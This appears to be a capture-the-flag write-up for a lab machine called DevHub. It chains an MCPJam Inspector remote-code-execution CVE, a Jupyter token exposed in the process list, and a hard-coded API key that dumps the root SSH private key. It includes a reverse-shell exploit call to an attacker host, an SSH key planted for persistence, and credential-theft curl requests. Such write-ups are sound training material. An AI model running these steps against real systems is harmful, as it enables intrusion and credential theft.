OS: Linux
Difficulty: Medium
Initial Access: MCPJam Inspector RCE
Privilege Escalation: JupyterLab → analyst → OPSMCP API → root SSH key
1. Overview
DevHub is a Linux machine focused around an internal developer environment.
The attack chain was:
MCPJam 1.4.2
|
| CVE-2026-23744
v
mcp-dev
|
| Jupyter token
v
analyst
|
| OPSMCP API
v
Root SSH Private Key
|
v
root
The interesting part of this box was not a single exploit. The real challenge was connecting the information discovered during enumeration.
2. Reconnaissance
I started with a full port scan:
nmap -p- <TARGET_IP> -v -oA nmap/devhub_full_port
Three ports were open:
22/tcp
80/tcp
6274/tcp
I then performed service enumeration:
sudo nmap -sC -sV -p 22,80,6274 <TARGET_IP> -oA nmap/devhub -v
The important results were:
22/tcp open ssh
80/tcp open http
6274/tcp open unknown
Port 80 was running an nginx web application titled:
DevHub - Internal Development Platform
I added the hostname:
echo "<TARGET_IP> devhub.htb" | sudo tee -a /etc/hosts
and visited:
http://devhub.htb
The website revealed two interesting services:
- MCP Inspector running on port
6274 - An internal Jupyter-based analytics environment on
127.0.0.1:8888
The Jupyter service was not externally accessible, but I kept it in mind for later.
3. MCPJam Inspector
Visiting:
http://devhub.htb:6274
revealed an MCPJam Inspector interface.
The running version was:
MCPJam Inspector v1.4.2
Searching for vulnerabilities in this version led to:
CVE-2026-23744
which affects MCPJam Inspector and allows unauthenticated remote code execution through the MCP connection functionality.
The vulnerable endpoint is:
POST /api/mcp/connect
I used the available exploit to execute a command on the target.
4. Initial Access
I started a listener:
nc -lvnp 4444
and executed the exploit:
python exploit.py \
--lport 4444 \
--lhost <ATTACKER_IP> \
-p 6274 \
devhub.htb
The connection came back as:
mcp-dev@devhub:/opt/mcpjam/node_modules/@mcpjam/inspector$
Initial access achieved:
mcp-dev
At this point, the attack path changed from external exploitation to local enumeration.
5. Getting a Stable SSH Shell
Since SSH was already open on port 22, I configured my public key for mcp-dev.
On my attacking machine:
ssh-keygen -t ed25519 -f ~/.ssh/htb_ed25519
On the target:
mkdir -p ~/.ssh
chmod 700 ~/.ssh
echo 'YOUR_PUBLIC_KEY_HERE' >> ~/.ssh/authorized_keys
chmod 600 ~/.ssh/authorized_keys
Then:
ssh -i ~/.ssh/htb_ed25519 mcp-dev@<TARGET_IP>
Now I had a stable SSH shell.
6. Looking for the Next User
The web application had previously mentioned an internal Jupyter service on port 8888.
Since I now had local access, I checked the running processes:
ps aux
Instead of searching randomly, I specifically looked for the Jupyter service I had already discovered during reconnaissance:
ps aux | grep 8888
This revealed:
analyst ... jupyter-lab
--ip=127.0.0.1
--port=8888
...
--ServerApp.token=<REDACTED>
--ServerApp.password=
This was a very interesting finding.
The Jupyter instance was:
Running as: analyst
Listening on: 127.0.0.1:8888
Authentication: token
and, most importantly, the token was visible directly in the process command line.
7. Jupyter Token
The token was enough to authenticate to the Jupyter API.
I tested it with:
curl -s \
"http://127.0.0.1:8888/api?token=<JUPYTER_TOKEN>"
The server returned:
{
"version": "2.17.0"
}
So the token was valid.
I also checked the available notebooks:
curl -s \
"http://127.0.0.1:8888/api/contents?token=<JUPYTER_TOKEN>"
This revealed:
quarterly_analysis.ipynb
The notebook itself did not contain anything particularly useful.
The important discovery was the Jupyter API access.
8. Getting Access as Analyst
The Jupyter server allowed authenticated users to create Python kernels.
I created one through the API:
curl -s -X POST \
-H 'Content-Type: application/json' \
-d '{"name":"python3"}' \
"http://127.0.0.1:8888/api/kernels?token=<JUPYTER_TOKEN>"
The kernel was then running as analyst.
This can be confirmed through process enumeration:
ps aux | grep ipykernel
which showed an ipykernel_launcher process owned by:
analyst
So the privilege transition was:
mcp-dev
|
| Jupyter token
v
Jupyter API
|
| Create Python kernel
v
analyst
I then used the Jupyter interface/kernel to execute commands as analyst and obtained the user flag.
9. Enumerating Analyst
Now that I had access as analyst, I started looking for services running with higher privileges.
One particularly interesting process was:
root ... /home/analyst/jupyter-env/bin/python3 /opt/opsmcp/server.py
So we had a custom Python service:
/opt/opsmcp/server.py
running as:
root
This immediately made the source code worth investigating.
10. OPSMCP
Reading the source code revealed that server.py was a Flask-based internal MCP operations server.
More importantly, the source contained a hard-coded API key.
The authentication mechanism looked like:
def check_auth():
api_key = request.headers.get('X-API-Key', '')
return api_key == VALID_API_KEY
The application also exposed a tool-calling endpoint:
POST /tools/call
While inspecting the available tools, I found:
ops._admin_dump
This was especially interesting because the function contained functionality for dumping sensitive information.
The relevant code was effectively:
if target == "ssh_keys":
with open('/root/.ssh/id_rsa', 'r') as f:
key_data = f.read()
return jsonify({
"target": "ssh_keys",
"root_private_key": key_data
})
So the root-owned service had an administrative function capable of reading the root SSH private key.
11. Dumping the Root SSH Key
Using the API key found in server.py, I sent an authenticated request to the local OPSMCP API:
curl -s -X POST \
'http://localhost:5000/tools/call' \
-H 'X-API-Key: <OPSMCP_API_KEY>' \
-H 'Content-Type: application/json' \
-d '{
"name": "ops._admin_dump",
"arguments": {
"confirm": true,
"target": "ssh_keys"
}
}'
The API returned the root SSH private key.
I saved the key locally:
vi ~/.ssh/htb/devhub
and applied the correct permissions:
chmod 600 ~/.ssh/htb/devhub
12. Root
Finally:
ssh -i ~/.ssh/htb/devhub root@<TARGET_IP>
The SSH connection succeeded:
root@devhub
And the root flag was:
cat /root/root.txt
Root access achieved.
13. Final Attack Chain
The complete path was:
Port 80
|
| Discover MCPJam
v
MCPJam Inspector 1.4.2
|
| CVE-2026-23744
v
mcp-dev
|
| ps aux
| Jupyter token discovered
v
JupyterLab :8888
|
| Authenticated kernel creation
v
analyst
|
| Enumerate root services
v
/opt/opsmcp/server.py
|
| Hard-coded API key
v
OPSMCP API :5000
|
| ops._admin_dump
v
/root/.ssh/id_rsa
|
| SSH
v
root
14. What I Learned
The most important lesson from DevHub was to connect information from different stages of enumeration.
During the initial web enumeration, I found:
Jupyter → 127.0.0.1:8888
At that point it was not directly accessible.
After getting the initial shell, I remembered that service and searched for it:
ps aux | grep 8888
That revealed the Jupyter token.
The token led to analyst.
From analyst, I found the root-owned OPSMCP service.
The source code revealed the API key.
The API exposed the root SSH key.
And the root key gave me SSH access as root.
So the box was essentially a chain of:
RCE
↓
Local Enumeration
↓
Credential Exposure
↓
User Pivot
↓
Source Code Enumeration
↓
API Abuse
↓
Credential Disclosure
↓
Root
The biggest takeaway for me is:
Don't just enumerate the machine. Remember what you found earlier and revisit it when your access level changes.
Top comments (0)